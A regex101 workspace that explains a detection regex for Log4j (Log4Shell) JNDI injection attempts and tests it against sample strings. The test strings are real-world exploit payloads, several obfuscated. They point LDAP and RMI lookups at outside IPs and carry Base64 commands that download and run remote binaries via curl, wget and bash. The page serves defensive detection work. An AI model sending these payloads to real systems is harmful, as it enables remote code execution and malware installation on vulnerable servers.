regex101: PCRE2 (PHP) Match Workspace

Group 1([\$]|[\%24]){1,3}

{1,3}repeats the group contents below between 1 and 3 times:

1st Alternative[\$]

Character Class[\$]

\$the literal $ (36₁₀ / 44₈ / 24₁₆)

2nd Alternative[\%24]

Character Class[\%24]

\%the literal % (37₁₀ / 45₈ / 25₁₆)

2the literal 2 (50₁₀ / 62₈ / 32₁₆)

4the literal 4 (52₁₀ / 64₈ / 34₁₆)

Group suspicious_log4j(?<suspicious_log4j>([\{]|[\%7B]{1,3}).*[jJnNdDiI]{1,4}.+[lLdDaApPsS]{1,5}.+([\/|\%2F]).+)

Group 3([\{]|[\%7B]{1,3})

1st Alternative[\{]

Character Class[\{]

\{the literal { (123₁₀ / 173₈ / 7B₁₆)

2nd Alternative[\%7B]{1,3}

Character Class[\%7B]{1,3}

{1,3}matches between 1 and 3 characters from the set below:

\%the literal % (37₁₀ / 45₈ / 25₁₆)

7the literal 7 (55₁₀ / 67₈ / 37₁₆)

Bthe literal B (66₁₀ / 102₈ / 42₁₆) (case sensitive)

.*any character (except for line terminators), repeated any number of times

Character Class[jJnNdDiI]{1,4}

{1,4}matches between 1 and 4 characters from the set below:

jthe literal j (106₁₀ / 152₈ / 6A₁₆) (case sensitive)

Jthe literal J (74₁₀ / 112₈ / 4A₁₆) (case sensitive)

nthe literal n (110₁₀ / 156₈ / 6E₁₆) (case sensitive)

Nthe literal N (78₁₀ / 116₈ / 4E₁₆) (case sensitive)

dthe literal d (100₁₀ / 144₈ / 64₁₆) (case sensitive)

Dthe literal D (68₁₀ / 104₈ / 44₁₆) (case sensitive)

ithe literal i (105₁₀ / 151₈ / 69₁₆) (case sensitive)

Ithe literal I (73₁₀ / 111₈ / 49₁₆) (case sensitive)

.+any character (except for line terminators), repeated at least once

Character Class[lLdDaApPsS]{1,5}

{1,5}matches between 1 and 5 characters from the set below:

lthe literal l (108₁₀ / 154₈ / 6C₁₆) (case sensitive)

Lthe literal L (76₁₀ / 114₈ / 4C₁₆) (case sensitive)

dthe literal d (100₁₀ / 144₈ / 64₁₆) (case sensitive)

Dthe literal D (68₁₀ / 104₈ / 44₁₆) (case sensitive)

athe literal a (97₁₀ / 141₈ / 61₁₆) (case sensitive)

Athe literal A (65₁₀ / 101₈ / 41₁₆) (case sensitive)

pthe literal p (112₁₀ / 160₈ / 70₁₆) (case sensitive)

Pthe literal P (80₁₀ / 120₈ / 50₁₆) (case sensitive)

sthe literal s (115₁₀ / 163₈ / 73₁₆) (case sensitive)

Sthe literal S (83₁₀ / 123₈ / 53₁₆) (case sensitive)

.+any character (except for line terminators), repeated at least once

Group 4([\/|\%2F])

Character Class[\/|\%2F]

\/the literal / (47₁₀ / 57₈ / 2F₁₆)

|the literal | (124₁₀ / 174₈ / 7C₁₆)

\%the literal % (37₁₀ / 45₈ / 25₁₆)

2the literal 2 (50₁₀ / 62₈ / 32₁₆)

Fthe literal F (70₁₀ / 106₈ / 46₁₆) (case sensitive)

.+any character (except for line terminators), repeated at least once

Global pattern flags

g modifier: global. Finds all matches instead of stopping after the first

m modifier: multiline. Causes ^ and $ to match the start and end of each line, not only the start and end of the string

25 tokens

Regular Expression

([\$]|[\%24]){1,3}(?<suspicious_log4j>([\{]|[\%7B]{1,3}).*[jJnNdDiI]{1,4}.+[lLdDaApPsS]{1,5}.+([\/|\%2F]).+)

New

${jndi:ldap://${hostName}.c6qgldh5g22l07bu1lvgcg4ukyyygg3tw.example.com/a}
$%7Bjndi:ldap://161.104.129.3:1389/Exploit%7D
${jndi:ldaps://probe001.log4j.example.net:9200/b}
${jndi:ldap://161.104.129.3:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8zNC4yMTUuNDguMTA2OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8zNC4yMTUuNDguMTA2OjQ0Myl8YmFzaA==}
$%7Bjndi:ldap://$%7BhostName%7D_solr.c78v36tibg0r9p1hgukgc8e9jaaydcyag.ns1.exploitexample.com%7D
%24%7B%24%7B%3A%3Aj%7Dndi%3Armi%3A%2F%2F161.104.129.3%3A1389%2FBinary%7D
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://161.104.129.3:1389/Binary}
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//161.104.129.3:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMi41OC4xNDkuMjA2L3N0YXI7IGN1cmwgLU8gaHR0cDovLzIuNTguMTQ5LjIwNi9yc3RhcjsgY2htb2QgNzc3IHN0YXI7IC4vc3RhciBleHBsb2l0}

Regular Expressions 101

Regular Expression

Substitution